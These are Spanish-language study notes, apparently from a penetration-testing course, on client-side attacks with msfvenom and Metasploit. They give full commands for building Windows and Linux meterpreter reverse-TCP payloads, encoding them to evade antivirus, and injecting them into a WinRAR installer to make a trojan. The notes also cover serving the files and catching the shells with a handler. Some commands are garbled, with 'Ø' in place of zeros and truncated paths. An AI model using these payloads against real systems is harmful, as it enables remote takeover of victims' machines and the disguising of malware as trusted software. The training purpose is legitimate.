Un ataque del lado del cliente es un vector de ataque que implica obligar a un cliente a ejecutar un payload malicioso en su sistema que, en consecuencia, se conecta nuevamente con el atacante cuando se ejecuta.
Los ataques del lado del cliente aprovechan las vulnerabilidades humanas en lugar de las vulnerabilidades en los servicios o el software que se ejecutan en el sistema de destino.
Dado que este vector de ataque implica la transferencia y el almacenamiento de un payload malicioso en el sistema (disco) del cliente, los atacantes deben ser conscientes de la detección de AV.
Msfvenom
Msfvenom es una utilidad de lÃnea de comandos que se puede utilizar para generar y codificar payloads útiles de MSF para varios sistemas operativos y servidores web.
Msfvenom es una combinación de dos utilidades, a saber; msfpayload y msfencode.
Podemos usar Msfvenom para generar un payload de meterpreter malicioso que puede transferirse al sistema de destino de un cliente. Una vez ejecutado, se conectará nuevamente a nuestro controlador de payload y nos proporcionará acceso remoto al sistema de destino.
Demo: Generating Payloads With Msfvenom
# Dcoumentacion de msfvenom
msfvenom
# Listar Payloads
msfvenom --list payloads
# Commo esta formado el payload
# Ejemplo:
windows/X64/meterpreter/reverse_tcp
# windows: En esta seccion se define el tipo de SO
# X64: Se define la arquitectura
# meterpreter: Se especifica el tipo de payload
# reverse_tcp: Se especifica el protocolo que se desea utilizar (ayudara a enmascar
# la actividad)
# meterpreter_reverse_tcp: Cuando estan con "_" se conoce como cargas no organizadas
# Crear un payload WINDOWS
# Donde LHOST y LPORT, es donde se comunicara el payload
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -f exe > /home/kali/Desktop/Windows_Payloads/payloadx86.exe
# Generar una carga util de x64
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=1Ø.1Ø.10.5 LPORT=1234 -f exe > /home/kali/Desktop/Windows_Payloads/payloadx64.exe
# Para identificar los formatos de salida que puede generar
msfvenom --list formats
# Crear un payload LINUX
# Payload X86
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -f elf > "Desktop/ Linux _ Payloads/payloadx86
# El archivo que genera solo es un script que a que darle permisos de ejecucion +x y ejecutarlo con ./(filename)
# Payload X64
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -f elf > ~/Desktop/Linux_Payloads/payloadx64
# Genera un binario o archivo ELF
Transferir un payload
# Ejecutar el siguiente desde el directorio don de se encuentra los payloads
sudo python -m SimpleHTTPServer 80
Configurar kali como oyente
#
msf6 > use multi/handler
# Windows
msf6 exploit(mutti/handter) > set payload windows/meterpreter/reverse_tcp
payload windows/meterpreter/reverse_tcp
msf6 exploit(mutti/hondter) > show options
msf6 exploit(mutti/handler) > set LHOST 10.10.10.5
msf6 exploit(multi/handler) > set LPORT 1234
# Linux
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
Quiz: Generating Payloads With Msfvenom
Encoding Payloads With Msfvenom
Dado que este vector de ataque implica la transferencia y el almacenamiento de una carga útil maliciosa en el sistema del cliente (disco), los atacantes deben conocer la detección de AV.
La mayorÃa de las soluciones de AV para el usuario final utilizan la detección basada en firmas para identificar archivos o ejecutables maliciosos.
Podemos evadir las soluciones de AV basadas en firmas más antiguas codificando nuestras cargas útiles.
La codificación es el proceso de modificar el shellcod del payload con el objetivo de modificar la firma de la carga útil.
Shellcode
El shellcode (shell-code) es un fragmento de código que se utiliza normalmente como un payload para la explotación.
# Los encoders se basaran en el SO y la Arquitectura
msfvenom -- list encoders
# De momento solo necesita saber que se utlizara los que estan categorizados como
# excelente como shikata
# WINDOWS codificaremos un payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1Ø.5 LPORT=1234 -e x86/shikata_ga_nai -f exe > "Desktop/Windows_Payloads/encodedx86.exe
# Mientras mas intraciones tengas, mas posibilidad de evadir el antiivrus tendra
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe > ~/Desktop/Windows_Payloads/encodedx86. exe
# LINUX codificaremos un payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=1234 -i 10 -e x86/shikata_ga_nai -f elf > ~/Desktop/Linux_Payloads/encodedx86
Quiz: Encoding Payloads With Msfvenom
Injecting Payloads Into Windows Portable Executables
# msfvenom nos permite expecificar una plantilla
# 1 Generamos el PAYLOAD
# 2 Injectamos el PAYLOAD -X
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -e x86/shikata_ga_nai -i 10 -f exe -x 4Downloads/wrar6Ø2.exe > ~/Desktop/Windows_Payloads/winrar. exe
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST
msf6 exploit(multi/handler) > set LPORT
msf6 exploit(multi/handler) > run
# Despues de ejeutar y establecer conexion se recomienda ejecutar el siguiente comando
meterpreter > run post/windows/manage/migrate
# La opcion -k mantendra la ejecucion original del proceso/ejecutable, sin embargo
# cuando termine de ejecutar el ejecutable se ejecutar el payload\
# Sin embargo esto no funcionara para la mayoria de los ejecutables portatiles que existen
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1Ø.1Ø.1Ø.5 LPORT=1234 -e x86/shikata_ga_nai -i 10 -f exe -k -x ~/Downloads/wrar6Ø2.exe >
Quiz: Injecting Payloads Into Windows Portable Executables